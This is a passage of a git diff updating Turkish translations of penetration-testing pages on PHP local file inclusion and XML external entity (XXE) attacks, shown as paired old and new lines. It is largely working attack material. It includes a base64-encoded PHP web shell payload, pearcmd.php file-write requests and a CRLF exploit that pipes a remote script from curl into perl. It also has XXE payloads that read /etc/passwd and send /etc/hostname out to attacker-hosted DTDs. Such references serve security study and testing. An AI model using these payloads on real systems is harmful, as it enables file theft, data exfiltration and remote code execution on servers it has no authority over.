Web sitesinin PHP Oturumu (PHPSESSID) kullanıp kullanmadığını kontrol edin.
Web sitesinin PHP Oturumu (PHPSESSID) kullanıp kullanmadığını kontrol edin
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@ -506,14 +552,14 @@ Eğer ssh aktifse, hangi kullanıcının kullanıldığını kontrol edin (/proc
### **Via** **vsftpd** _**logs**_
FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumundadır. Bir Yerel Dosya Dahil Etme (LFI) açığı mevcutsa ve maruz kalmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar dikkate alınabilir:
FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumundadır. Bir Yerel Dosya Dahil Etme (LFI) açığı varsa ve maruz kalmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar dikkate alınabilir:
1. Giriş sürecinde kullanıcı adı alanına bir PHP yükü enjekte edin.
2. Enjeksiyondan sonra, LFI'yi kullanarak sunucu loglarını _**/var/log/vsftpd.log**_ konumundan alın.
### Via php base64 filter (using base64)
[Bu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makalede gösterildiği gibi, PHP base64 filtresi sadece Non-base64'ü yok sayar. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten base64 sağlarsanız, "."'yu yok sayar ve base64'e "php" ekler. İşte bir örnek yük:
[Bu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makalede gösterildiği gibi, PHP base64 filtresi sadece Non-base64'ü yok sayar. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten bir base64 sağlarsanız, "."'yu yok sayar ve base64'e "php" ekler. İşte bir örnek yük:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -521,7 +567,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Bu [**yazı**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d), **php filtrelerini kullanarak rastgele içerik** oluşturabileceğinizi açıklar. Bu, temelde **bir dosyaya yazmanıza gerek kalmadan** dahil etmek için **rastgele php kodu** oluşturabileceğiniz anlamına gelir.
Bu [**yazı**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) **php filtrelerini kullanarak rastgele içerik** oluşturabileceğinizi açıklar. Bu, temelde **bir dosyaya yazmadan** dahil etmek için **rastgele php kodu** oluşturabileceğiniz anlamına gelir.
{{#ref}}
lfi2rce-via-php-filters.md
@ -545,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Eğer bir **Local File Inclusion** bulduysanız, hatta **bir oturumunuz yoksa** ve `session.auto_start` `Kapalı` ise. **`PHP_SESSION_UPLOAD_PROGRESS`**'i **multipart POST** verilerinde sağlarsanız, PHP sizin için **oturumu etkinleştirecektir**. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
Eğer bir **Local File Inclusion** bulduysanız, **oturumunuz olmasa bile** ve `session.auto_start` `Kapalı` ise. **`PHP_SESSION_UPLOAD_PROGRESS`**'i **multipart POST** verilerinde sağlarsanız, PHP sizin için **oturumu etkinleştirecektir**. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
{{#ref}}
via-php_session_upload_progress.md
@ -561,13 +607,13 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
Bu [**yazıda açıklandığı gibi**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), `/usr/local/lib/phppearcmd.php` dosyası php docker görüntülerinde varsayılan olarak mevcuttur. Ayrıca, bir URL parametresi `=` içermiyorsa, bunun bir argüman olarak kullanılacağı belirtilmiştir.
[**bu yazıda açıklandığı gibi**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), `/usr/local/lib/phppearcmd.php` dosyası php docker görüntülerinde varsayılan olarak mevcuttur. Ayrıca, bir URL parametresi `=` içermiyorsa, URL üzerinden script'e argüman geçmenin mümkün olduğu belirtilmiştir.
Aşağıdaki istek, `/tmp/hello.php` dosyasında `<?=phpinfo()?>` içeriği ile bir dosya oluşturur:
Aşağıdaki istek, `/tmp/hello.php` dizininde `<?=phpinfo()?>` içeriği ile bir dosya oluşturur:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Aşağıdaki, RCE elde etmek için bir CRLF açığını istismar eder (buradan [**buraya**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Aşağıdaki, RCE elde etmek için bir CRLF açığını istismar eder ( [**buradan**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -576,7 +622,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### phpinfo() Üzerinden (file_uploads = on)
Eğer bir **Local File Inclusion** bulduysanız ve **file_uploads** = on olan bir **phpinfo()** dosyası bulduysanız, RCE elde edebilirsiniz:
Eğer bir **Local File Inclusion** bulduysanız ve **file_uploads = on** olan bir **phpinfo()** dosyası bulduysanız, RCE elde edebilirsiniz:
{{#ref}}
lfi2rce-via-phpinfo.md
@ -584,7 +630,7 @@ lfi2rce-via-phpinfo.md
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Yol Açıklaması Üzerinden
Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu** **sızdırabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerine** **bakıyorsa**, bu **Race Condition** ile o kontrolü **bypass etmeyi** deneyebilirsiniz:
Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu dışarıya aktarabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa**, bu **Race Condition** ile **o kontrolü atlamayı** deneyebilirsiniz:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@ -598,12 +644,12 @@ Eğer LFI'yi **geçici dosyalar yüklemek** için kötüye kullanabiliyorsanız
lfi2rce-via-eternal-waiting.md
{{#endref}}
### Fatal Hata İçin
### Fatal Error'a
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini dahil ederseniz. (Bu hatayı fırlatmak için aynı dosyayı 2 kez dahil etmeniz gerekir).
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini dahil ederseniz. (Bu hatayı atmak için aynı dosyayı 2 kez dahil etmeniz gerekir).
**Bunun ne kadar faydalı olduğunu bilmiyorum ama olabilir.**\
_Hatta bir PHP Fatal Hatası oluşturursanız, yüklenen PHP geçici dosyaları silinir._
**Bunun nasıl faydalı olduğunu bilmiyorum ama olabilir.**\
_Hatta bir PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyaları silinir._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
@ -611,6 +657,8 @@ _Hatta bir PHP Fatal Hatası oluşturursanız, yüklenen PHP geçici dosyaları
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai Destek Biletinden Zero Day'e (FreeFlow Core yol geçişi → keyfi yazma → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Güvenlik Bülteni 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -7,10 +7,10 @@
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, buna rağmen AJAX teknolojisindeki ilk rolü önemlidir.
- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile çelişki yaşamamak için `&lt;` ve `&gt;` gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar.
- **XML Elemanlarını Tanımlama**: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılması gerektiğini ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanır.
- **XML Elemanlarının Tanımlanması**: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılması gerektiğini ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanır.
- **Belge Türü Tanımı (DTD)**: DTD'ler, XML'de belgenin yapısını ve içerebileceği veri türlerini tanımlamak için kritik öneme sahiptir. DTD'ler içsel, dışsal veya bir kombinasyon olabilir ve belgelerin nasıl biçimlendirileceği ve doğrulanacağı konusunda rehberlik eder.
- **Özel ve Dış Varlıklar**: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dış varlıklar, özellikle XML Dış Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dışarıdan tespit tekniklerine olanak tanır.
- **Özel ve Dış Varlıklar**: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dış varlıklar, XML Dış Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemler ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğunda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dış bant tespit tekniklerine olanak tanır.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -20,7 +20,7 @@ XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve a
### Yeni Varlık testi
Bu saldırıda basit bir yeni VARLIK beyanının çalışıp çalışmadığını test edeceğim.
Bu saldırıda basit bir yeni VARYETİK tanımının çalışıp çalışmadığını test edeceğim.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -33,7 +33,7 @@ Bu saldırıda basit bir yeni VARLIK beyanının çalışıp çalışmadığın
### Dosya oku
`/etc/passwd` dosyasını farklı şekillerde okumayı deneyelim. Windows için şunu okumayı deneyebilirsiniz: `C:\windows\system32\drivers\etc\hosts`
Farklı yollarla `/etc/passwd` okumayı deneyelim. Windows için şunu okumayı deneyebilirsiniz: `C:\windows\system32\drivers\etc\hosts`
Bu ilk durumda, SYSTEM "_**file:///**etc/passwd_" ifadesinin de çalışacağını unutmayın.
```xml
@ -43,7 +43,7 @@ Bu ilk durumda, SYSTEM "_**file:///**etc/passwd_" ifadesinin de çalışacağın
```
![](<../images/image (86).png>)
Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswiggers laboratuvarları durumu değil)
Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswigger laboratuvarları durumu değil)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -65,10 +65,10 @@ Bu üçüncü durumda `Element stockCheck`'i ANY olarak tanımladığımıza dik
### Dizin listeleme
**Java** tabanlı uygulamalarda, XXE aracılığıyla bir yük ile **bir dizinin içeriğini listelemek** mümkün olabilir (sadece dosya yerine dizini istemek):
**Java** tabanlı uygulamalarda, XXE aracılığıyla bir yük ile **bir dizinin içeriğini listelemek** mümkün olabilir (dosya yerine sadece dizini istemek):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
@ -83,7 +83,7 @@ Bir XXE, bir bulut içindeki bir SSRF'yi kötüye kullanmak için kullanılabili
```
### Blind SSRF
Kullanarak **önceki yorumlanan teknik** sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak onun zayıf olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de **XML varlıklarına izin verilmediği** içindir, bu durumda **XML parametre varlıklarını** kullanmayı deneyebilirsiniz:
Kullanarak **önceki yorumlanan teknik** sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak onun savunmasız olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de **XML varlıklarına izin verilmediği** içindir, bu durumda **XML parametre varlıklarını** kullanmayı deneyebilirsiniz:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -91,7 +91,7 @@ Kullanarak **önceki yorumlanan teknik** sunucunun kontrol ettiğiniz bir sunucu
```
### "Kör" SSRF - Veriyi dışarıya sızdırma
**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için, bunu dışarıya sızdırmayı deneyebilirsiniz \_ftp://**\_ bu temel sunucuyu kullanarak örneğin [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswigger laboratuvarı burada**](https://portswigger.net/web-security/xxe/blind)** temel alınarak yapılmıştır.**
**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için, bunu dışarıya sızdırmayı \_ftp://**\_ kullanarak deneyebilirsiniz, örneğin bu temel sunucu ile [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswigger laboratuvarı burada**](https://portswigger.net/web-security/xxe/blind)** temel alınarak yapılmıştır.**
Verilen kötü niyetli DTD'de, veriyi dışarıya sızdırmak için bir dizi adım gerçekleştirilir:
@ -108,7 +108,7 @@ Bu DTD tarafından yürütülen adımlar şunlardır:
1. **Parametre Varlıklarının Tanımı:**
- Bir XML parametre varlığı, `%file`, `/etc/hostname` dosyasının içeriğini okuyarak oluşturulur.
- Başka bir XML parametre varlığı, `%eval`, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i bildirir. `%exfiltrate` varlığı, URL'nin sorgu dizesi içinde `%file` varlığının içeriğini geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır.
- Başka bir XML parametre varlığı, `%eval`, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i ilan eder. `%exfiltrate` varlığı, URL'nin sorgu dizesi içinde `%file` varlığının içeriğini geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır.
2. **Varlıkların Yürütülmesi:**
- `%eval` varlığı kullanılır, bu da `%exfiltrate` varlığının dinamik tanımının yürütülmesine yol açar.
- Ardından `%exfiltrate` varlığı kullanılır ve dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği tetiklenir.
@ -121,7 +121,7 @@ Saldırgan, bu kötü niyetli DTD'yi kontrolü altındaki bir sunucuda barındı
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde entegre eder. Bir XML ayrıştırıcısı tarafından işlendiğinde, bu yük saldırganın sunucusundan dış DTD'yi alır. Ardından ayrıştırıcı, DTD'yi satır içi olarak yorumlar, kötü niyetli DTD'de belirtilen adımları yürütür ve `/etc/hostname` dosyasının saldırganın sunucusuna sızdırılmasına yol açar.
Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde entegre eder. Bir XML ayrıştırıcısı tarafından işlendiğinde, bu yük, saldırganın sunucusundan dış DTD'yi alır. Ardından ayrıştırıcı, DTD'yi satır içi olarak yorumlar, kötü niyetli DTD'de belirtilen adımları yürütür ve `/etc/hostname` dosyasının saldırganın sunucusuna sızdırılmasına yol açar.
### Hata Tabanlı (Dış DTD)
@ -129,9 +129,9 @@ Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde enteg
Kötü niyetli bir dış Belge Türü Tanımı (DTD) kullanılarak, `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
1. `file` adında bir XML parametre varlığı tanımlanır; bu varlık, `/etc/passwd` dosyasının içeriğini içerir.
2. `eval` adında bir XML parametre varlığı tanımlanır ve bu varlık, `error` adında başka bir XML parametre varlığı için dinamik bir tanım içerir. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini ad olarak kullanır.
3. `eval` varlığı çağrılır, bu da `error` varlığının dinamik tanımını oluşturur.
1. `file` adında bir XML parametre varlığı tanımlanır; bu, `/etc/passwd` dosyasının içeriğini içerir.
2. `eval` adında bir XML parametre varlığı tanımlanır; bu, `error` adında başka bir XML parametre varlığı için dinamik bir tanım içerir. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini ad olarak kullanır.
3. `eval` varlığı çağrılır ve `error` varlığının dinamik tanımına yol açar.
4. `error` varlığının çağrılması, var olmayan bir dosyayı yüklemeye çalışır ve dosya adı olarak `/etc/passwd` dosyasının içeriğini içeren bir hata mesajı üretir.
Kötü niyetli dış DTD, aşağıdaki XML ile çağrılabilir:
@ -144,13 +144,13 @@ Web sunucusunun yanıtı, `/etc/passwd` dosyasının içeriğini gösteren bir h
![](<../images/image (809).png>)
_**Lütfen harici DTD'nin, ikinci `eval` içinde bir varlığı dahil etmemize izin verdiğini, ancak bunun iç DTD'de yasaklandığını unutmayın. Bu nedenle, harici bir DTD kullanmadan (genellikle) bir hatayı zorlayamazsınız.**_
_**Dış DTD'nin, ikinci `eval` içinde bir varlık dahil etmemize izin verdiğini, ancak iç DTD'de bunun yasak olduğunu lütfen unutmayın. Bu nedenle, genellikle dış DTD kullanmadan bir hatayı zorlayamazsınız.**_
### **Hata Tabanlı (sistem DTD)**
Peki, **dışa dönük etkileşimlerin engellendiği** kör XXE zafiyetleri hakkında ne düşünüyorsunuz (harici bağlantılar mevcut değil)?
Peki, **dış bağlantılar engellendiğinde** kör XXE zafiyetleri hakkında ne söyleyebiliriz?
XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, harici olarak tanımlanan varlıkların içten yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, harici bir DTD'de orijinal olarak tanımlanan bir XML parametre varlığının iç DTD'den yeniden tanımlanmasını istismar eder. Sunucu tarafından dışa dönük bağlantılar engellendiğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, dışarıda tanımlanan varlıkların içten yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, dış DTD'de orijinal olarak tanımlanan bir XML parametre varlığının iç DTD'den yeniden tanımlanmasını istismar eder. Sunucu dış bağlantıları engellediğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity` adında bir varlık tanımlayan bir DTD dosyası olduğunu düşünün. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir:
```xml
@ -165,13 +165,13 @@ Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity`
%local_dtd;
]>
```
Açıklanan adımlar bu DTD tarafından yürütülmektedir:
Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir:
- `local_dtd` adlı bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içerir.
- `local_dtd` adında bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içermektedir.
- Dış DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanım yapılır; bu, bir [hata tabanlı XXE istismarı](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsamak üzere tasarlanmıştır. Bu yeniden tanım, `/etc/passwd` dosyasının içeriğini açığa çıkaran bir ayrıştırma hatası oluşturmak için tasarlanmıştır.
- `local_dtd` varlığını kullanarak, dış DTD devreye alınır ve yeni tanımlanan `custom_entity`'yi kapsar. Bu eylemler dizisi, istismar için hedeflenen hata mesajının iletilmesine neden olur.
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adlı bir varlık içeren bir DTD'ye sahiptir.
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adında bir varlık içeren bir DTD'ye sahiptir.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -188,14 +188,14 @@ Açıklanan adımlar bu DTD tarafından yürütülmektedir:
```
![](<../images/image (625).png>)
Bu teknik **içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir**. Bunu, sunucunun kullandığı aynı **İşletim Sistemi / Yazılımı** **yükleyerek** ve bazı varsayılan DTD'leri **arama yaparak** veya sistemler içindeki **varsayılan DTD'lerin bir listesini alarak** ve bunlardan herhangi birinin var olup olmadığını **kontrol ederek** yapabilirsiniz:
Bu teknik **içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir**. Bunu, sunucunun kullandığı aynı **İşletim Sistemi / Yazılımı** **kurarak** ve **bazı varsayılan DTD'leri arayarak** veya sistemler içindeki **varsayılan DTD'lerin bir listesini alarak** ve bunlardan herhangi birinin var olup olmadığını **kontrol ederek** yapabilirsiniz:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
Daha fazla bilgi için [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) adresini kontrol edin.
Daha fazla bilgi için [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) adresine bakın.
### Sistemde DTD'leri Bulma
@ -223,7 +223,7 @@ Bu saldırının daha derinlemesine bir açıklaması için, **Detectify'den** [
**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması kaçınılmazdır.
Bu güvenlik açığını test etmek için, **XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
Bu güvenlik açığını test etmek için, **bir XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
Belge çıkarıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin düzenleyicisinde (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
@ -231,11 +231,11 @@ Değiştirilen XML satırları, iki kök XML nesnesinin arasına yerleştirilmel
Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır:
Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesini umabiliriz.
Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesini umabilirsiniz.
### Jar: protocol
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Bu, **PKZIP** arşivindeki (örneğin, `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır ve hem yerel hem de uzak dosyaları hedef alır.
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Hem yerel hem de uzak dosyalar için **PKZIP** arşivinde (örneğin, `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
@ -243,7 +243,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
> [!CAUTION]
> PKZIP dosyaları içindeki dosyalara erişebilmek, **sistem DTD dosyalarını kötüye kullanmak için süper kullanışlıdır.** [Sistem DTD dosyalarını nasıl kötüye kullanacağınızı öğrenmek için bu bölüme bakın](xxe-xee-xml-external-entity.md#error-based-system-dtd).
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adım içerir:
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adımdan oluşur:
1. Belirtilen bir konumdan, örneğin `https://download.website.com/archive.zip`, zip arşivini indirmek için bir HTTP isteği yapılır.
2. Arşivi içeren HTTP yanıtı, genellikle `/tmp/...` gibi bir konumda geçici olarak sistemde saklanır.
@ -257,7 +257,7 @@ Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını su
<foo>&xxe;</foo>
```
> [!CAUTION]
> Geçici bir dizine dosya yazmak, **yol geçişi ile ilgili başka bir zafiyeti artırmaya yardımcı olabilir** (örneğin, yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme, vb).
> Geçici bir dizine dosya yazmak, **bir yol geçişi ile ilgili başka bir zafiyeti artırmaya yardımcı olabilir** (yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme, vb. gibi).
### XSS
```xml
@ -310,7 +310,7 @@ Sonra hashcat kullanarak hash'i kırmayı deneyebilirsiniz.
### XInclude
